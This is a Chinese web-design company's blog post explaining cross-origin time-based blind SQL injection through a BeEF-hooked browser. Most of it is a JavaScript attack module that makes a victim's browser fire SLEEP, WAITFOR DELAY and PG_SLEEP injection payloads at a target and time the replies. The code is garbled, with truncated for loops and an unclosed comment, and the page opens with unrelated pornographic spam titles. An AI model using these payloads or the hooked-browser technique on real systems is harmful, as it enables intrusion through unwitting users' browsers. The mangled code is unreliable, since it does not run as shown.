欧美人两个人激情的免费视频_国产亚洲人成网站在线观看不卡_直接看毛片_免费乱理伦片在线观看app

十三年專注于網(wǎng)站建設(shè)與互聯(lián)網(wǎng)應(yīng)用開發(fā),低調(diào)、有情懷的網(wǎng)絡(luò)應(yīng)用服務(wù)商!
南昌百恒科技微信公眾號 掃一掃關(guān)注
tel-icon全國服務(wù)熱線:400-680-9298,0791-88117053
掃一掃關(guān)注百恒科技微信公眾號

Web應(yīng)用之跨域SQL盲注檢測

百恒 2017-07-22 15:23:19 3194
? ? ? ?在Web應(yīng)用中,即使是跨域請求,仍然可以確定請求是否成功。而且,還可以根據(jù)響應(yīng)的時間來推斷更多細節(jié)。
? ? ? ?SOP會阻止讀取跨域XMLHttpRequest的響應(yīng)體,因而在勾連瀏覽器上發(fā)現(xiàn)基于錯誤的SQLi并不現(xiàn)實。此時,可以利用跨域響應(yīng)計時,以及基于時間的SQL注入。這樣就可以看到跨域SQL注入的結(jié)果,從而發(fā)現(xiàn)并利用SQL注入漏洞。那么具體該如何操作呢?下面請看南昌網(wǎng)絡(luò)公司小編為大家詳細講解一下:
? ? ? ?執(zhí)行下面的代碼可以使用時間延遲,以發(fā)現(xiàn)跨域Web應(yīng)用中的SQLi漏洞。這段代碼目前支持可以通過GET請求訪問的資源,而要修改成支持POST請求的資源也很簡單。
? ? ? ?另外,目前只支持MySQL、PostgreSQL和MSSQL,因為只有它們有時間延遲的SQL語句。正如Chema Alonso所演示的19,即使是耗時的查詢也可以感知到時間延遲。同樣,因為Oracle支持發(fā)送HTTP和DNS請求的功能,所以還可以進行相應(yīng)的確認:
? ? ? ?beef.execute(function() {
? ? ? ?// 以秒計的延遲
? ? ? ?var delay = '<%= @delay %>';
? ? ? ?// 目標(biāo)主機/端口
? ? ? ?var host = '<%= @host %>';
? ? ? ?var port = '<%= @port %>';
? ? ? ?// 要掃描的目標(biāo)URL
? ? ? ?var uri = '<%= @uri %>';
? ? ? ?// 要掃描的URL參數(shù),格式為:key=value
? ? ? ?var param = '<%= @parameter %>';
? ? ? ?/*需要處理主要注入的向量
? ? ? ?* 如果有嵌套的JOIN需要額外的括號
? ? ? ?* param和delay是占位符,
? ? ? ?* 稍后會在create_vector()中替換
? ? ? ?*/
? ? ? ?var vectors = [
? ? ? ?"param AND delay", "param' AND delay",
? ? ? ?"param) AND delay", "param AND delay --",
? ? ? ?"param' AND delay --", "param) AND delay --",
? ? ? ?"param AND delay AND 'rand'='rand",
? ? ? ?"param' AND delay AND 'rand'='rand",
? ? ? ?"param' AND delay AND ('rand'='rand",
? ? ? ?"param; delay --"
? ? ? ?];
? ? ? ?var db_types = ["mysql", "mssql", "postgresql"];
? ? ? ?var final_vectors = [];
? ? ? ?/* 每個DB都有不同的延遲語句
? ? ? ?function create_vector(vector, db_type){
? ? ? ?var result = "";
? ? ? ?if(db_type == "mysql")
? ? ? ?result = vector.replace("param",param)
? ? ? ?.replace("delay","SLEEP(" + delay + ")");
? ? ? ?if(db_type == "mssql")
? ? ? ?result = vector.replace("param",param)
? ? ? ?.replace("delay","WAITFOR DELAY '0:0:" + delay + "'");
? ? ? ?if(db_type == "postgresql")
? ? ? ?result = vector.replace("param",param)
? ? ? ?.replace("delay","PG_SLEEP(" + delay + ")");
? ? ? ?console.log("Vector before URL encoding: " + result);
? ? ? ?return encodeURI(result);
? ? ? ?}
? ? ? ?// 根據(jù)支持數(shù)據(jù)庫替換param和delay占位符
? ? ? ?function populate_global_vectors(){
? ? ? ?for(var i=0;i
? ? ? ?var db_type = db_types[i];
? ? ? ?for(var e=0;e
? ? ? ?final_vectors.push(create_vector(vectors[e], db_type));
? ? ? ?}
? ? ? ?}
? ? ? ?}
? ? ? ?var vector_index = 0;
? ? ? ?function next_vector(){
? ? ? ?result = final_vectors[vector_index];
? ? ? ?vector_index++;
? ? ? ?return result;
? ? ? ?}
? ? ? ?var send_interval;
? ? ? ?var successfulVector = "";
? ? ? ?function sendRequests(){
? ? ? ?var vector = next_vector();
? ? ? ?var url = uri.replace(param, vector);
? ? ? ?beef.net.forge_request("http", "GET", host, port, url,
? ? ? ?null, null, null, delay + 2, 'script', true, null,
? ? ? ?function(response){
? ? ? ?// 如果XHR響應(yīng)延遲,停止進程
? ? ? ?// 因為某個successfulVector已被發(fā)現(xiàn)
? ? ? ?if(response.duration >= delay * 1000){
? ? ? ?successfulVector = url;
? ? ? ?console.log("Response delayed with vector [" +
? ? ? ?successfulVector + "]");
? ? ? ?clearInterval(send_interval);
? ? ? ?}
? ? ? ?});
? ? ? ?}
? ? ? ?// 創(chuàng)建所有向量
? ? ? ?populate_global_vectors();
? ? ? ?/* 確定正常的響應(yīng)時間,并且調(diào)整請求之間的延遲
? ? ? ?*(基準(zhǔn)響應(yīng)時間 +500 ms) */
? ? ? ?var response_time;
? ? ? ?beef.net.forge_request("http", "GET", host, port, uri,
? ? ? ?null, null, null, delay + 2, 'script', true, null,function(response){
? ? ? ?response_time = response.duration;
? ? ? ?send_interval = setInterval(function(){
? ? ? ?sendRequests()},response_time + 500); //can be adjusted
? ? ? ?});
? ? ? ?});
? ? ? ?把前面的代碼注入勾連瀏覽器之后,會調(diào)用populate_global_vectors(),并根據(jù)支持的數(shù)據(jù)庫類型和向量數(shù)組中的載荷,來創(chuàng)建攻擊向量。這里的載荷并不完整,但對大多數(shù)攻擊來說已經(jīng)足夠了。你可以根據(jù)自己的需求再進行添加,比如增加更多括號或使用不同的布爾關(guān)鍵字,以涵蓋嵌套的聯(lián)結(jié)或非常復(fù)雜的查詢。
攻擊的下一步是發(fā)送不帶任何攻擊向量的請求,以監(jiān)控常規(guī)響應(yīng)時間。這樣才能有依據(jù)地對后續(xù)攻擊向量作出調(diào)整,因為目標(biāo)可能對常規(guī)請求都會花幾秒才響應(yīng)。確定了基準(zhǔn)響應(yīng)時間后,通過sendRequests()函數(shù)發(fā)送所有可用的攻擊向量。每個XHR請求在處理后,都會有回調(diào)函數(shù)在響應(yīng)到達后檢測響應(yīng)時間。如果響應(yīng)時間等于或大于注入的延遲,則說明注入成功,并可以確認存在基于時間的SQLi漏洞。在圖1和圖2中,可以看到通過BeEF在勾連瀏覽器中注入代碼后,內(nèi)部發(fā)生了什么。
Web應(yīng)用之跨域SQL盲注檢測
? ? ? ??以上就是小編為大家介紹的關(guān)于Web應(yīng)用中跨域SQL盲注檢測的方法,如果還有哪些不懂的地方,可隨時來電和我們聯(lián)系。了解更多關(guān)于南昌網(wǎng)站建設(shè)、微信開發(fā)、手機APP開發(fā)等方面的知識,歡迎關(guān)注百恒網(wǎng)絡(luò)官網(wǎng)動態(tài)。
400-680-9298,0791-88117053
掃一掃關(guān)注百恒網(wǎng)絡(luò)微信公眾號

歡迎您的光顧,我們將竭誠為您服務(wù)×

售前咨詢 售前咨詢
 
售前咨詢 售前咨詢
 
售前咨詢 售前咨詢
 
售前咨詢 售前咨詢
 
售前咨詢 售前咨詢
 
售后服務(wù) 售后服務(wù)
 
備案專線 備案專線
 
售后服務(wù) 售后服務(wù)
 
×